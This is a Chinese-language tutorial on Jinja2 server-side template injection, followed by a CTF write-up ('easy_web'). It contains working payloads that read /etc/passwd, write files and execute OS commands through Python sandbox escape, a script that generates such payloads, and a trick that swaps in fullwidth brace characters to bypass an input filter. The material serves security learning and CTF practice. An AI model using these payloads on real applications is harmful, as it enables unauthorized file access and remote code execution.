前言
1.SSTI模板注入介绍
SSTI模板注入是一种特殊的代码注入攻击,在使用模板引擎的Web应用程序中广泛存在。攻击者通过输入恶意数据,触发模板引擎解析执行攻击代码,从而控制应用程序并获取敏感信息。
以下是一个基于Jinja2模板引擎的SSTI模板注入攻击案例:
1、首先,攻击者访问目标网站并找到一个可以利用的输入点,如搜索框或评论框等。
2、攻击者在输入框中输入以下Jinja2代码:
{
{config.items()}}
该代码将显示应用程序的配置项。
3、当应用程序解析该输入时,恶意代码将被执行,显示应用程序的配置项,如下所示:
[('SECRET_KEY', '123456789'), ('SQLALCHEMY_DATABASE_URI', 'mysql://root:password@localhost/test'), ('DEBUG', 'True')]
通过SSTI模板注入攻击,攻击者可以轻松地获取应用程序的敏感信息并最终控制服务器。因此,开发人员应该采取必要的安全措施,防止SSTI模板注入攻击。
2.SSTI模板注入利用
Jinja2 模板中可以访问一些 Python 内置变量,如[] {} 等,并且能够使用 Python 变量类型中的一些函数这里其实就引出了python沙盒逃逸
python的内敛函数真是强大,可以调用一切函数做自己想做的事情
C:\Users\Shelby\Desktop
λ python
Python 3.7.8 (tags/v3.7.8:4b47a5b6ba, Jun 28 2020, 08:53:46) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> dir('builtins')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>> dir('import')
['__add__', '__class__', '__contains__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
>>>
在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,这是两种创建object的方法
Python中一些常见的特殊方法:
__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类
现在我们的思路就是从一个内置变量调用__class__.base__等隐藏属性,去找到一个函数,然后调用其__globals[‘builtins’]即可调用eval等执行任意代码。
().__class__.__bases__[0]
''.__class__.__mro__[2]
{
}.__class__.__bases__[0]
[].__class__.__bases__[0]
builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可
安全研究员给出的几个常见Payload
1、python2
文件读取和写入
#读文件
{
{
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{
{
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{
{
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}
任意执行
每次执行都要先写然后编译执行
{
{
''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{
{
config.from_pyfile('/tmp/owned.cfg') }}
2、python3
因为python3没有file了,所以用的是open
#文件读取
http://192.168.228.36/?name={
{
().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[%27open%27](%27/etc/passwd%27).read()}}
#任意执行
http://192.168.228.36/?name={
{
().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}}
#命令执行:
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{
% endif %}{
% endfor %}
#文件操作
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{
% endif %}{
% endfor %}
寻找function的过程可以用一个小脚本解决, 脚本找到被重载过的function,然后组成payload
#!/usr/bin/python3
# coding=utf-8
# python 3.5
from flask import Flask
from jinja2 import Template
# Some of special names
searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']
neededFunction = ['eval', 'open', 'exec']
pay = int(input("Payload?[1|0]"))
for index, i in enumerate({
}.__class__.__base__.__subclasses__()):
for attr in searchList:
if hasattr(i, attr):
if eval('str(i.'+attr+')[1:9]') == 'function':
for goal in neededFunction:
if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):
if pay != 1:
print(i.__name__,":", attr, goal)
else:
print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{
{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")
一、easy_web
1.题目
2.答题
打开链接页面
随便发送字符串
python的后端,就想到了SSTI模板注入
确定了服务器会将我们输入的参数当作html语言解析。
对输入框进行模糊测试
测试的返回是所有的单字符,即 ascii中 33-127的所有字符(特殊符号,字母大小写,数字)
length为198的就是被过滤掉的
符号大全网址:http://www.fhdq.net/
直接输入 { 会被过滤掉,因此我们可以输入 ︷
进行过滤字符替换
{
{
''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
"""
str='{
{\'\'.__class__.__mro__[1].__subclasses__()[91].get_data(0,\'/flag\')}}' #原字符串
#如果需要替换replace(被替换的字符,替换后的字符)
str=str.replace('{','︷')
str=str.replace('}','︸')
str=str.replace('\'',''')
print(str)
得到替换后的函数:
︷︷().__class__.__mro__[1].__subclasses__()[91].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['open']('/flag').read()︸︸
︷︷().__class__.__bases__[0].__subclasses__()[91].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")︸︸
得到flag:flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}